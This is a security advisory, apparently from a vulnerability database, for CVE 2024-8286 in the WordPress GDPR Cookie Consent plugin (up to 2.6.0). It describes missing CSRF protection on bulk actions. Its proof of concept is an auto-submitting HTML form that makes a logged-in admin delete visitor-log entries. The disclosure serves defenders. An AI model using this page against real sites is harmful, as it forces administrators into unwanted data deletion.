GDPR Cookie Consent <= 2.6.0 – Bulk Delete via CSRF | CVE 2024-8286

Description

The plugin does not have CSRF checks in some bulk actions, which could allow attackers to make logged in admins perform unwanted actions, such as deleting visit logs via CSRF attacks

Proof of Concept

Have an admin open the following where `bulk-delete[]` are valid IDs:

```
<html lang="en">
<head>
    <script>
        window.onload = function() {
            // Automatically submit the form when the document is loaded
            document.getElementById("autoSubmitForm").submit();
        };
        </script>
</head>
<body>
    <form id="autoSubmitForm" method="POST" action="https://example.com/wp-admin/edit.php?post_type=cookielawinfo&page=cli_visitor_report">
        <input type="hidden" name="page" value="cli_visitor_report">
        <input type="hidden" name="s" value="">
        <input type="hidden" name="_wpnonce" value="666">
        <input type="hidden" name="_wp_http_referer" value="/wp-admin/edit.php?post_type=cookielawinfo&page=cli_visitor_report">
        <input type="hidden" name="action" value="bulk-delete">
        <input type="hidden" name="paged" value="1">
        <input type="hidden" name="bulk-delete[]" value="15">
        <input type="hidden" name="bulk-delete[]" value="16">
        <input type="hidden" name="action2" value="bulk-delete">     
        <input type="submit" value="Submit Request">
    </form>
</body>
</html>
```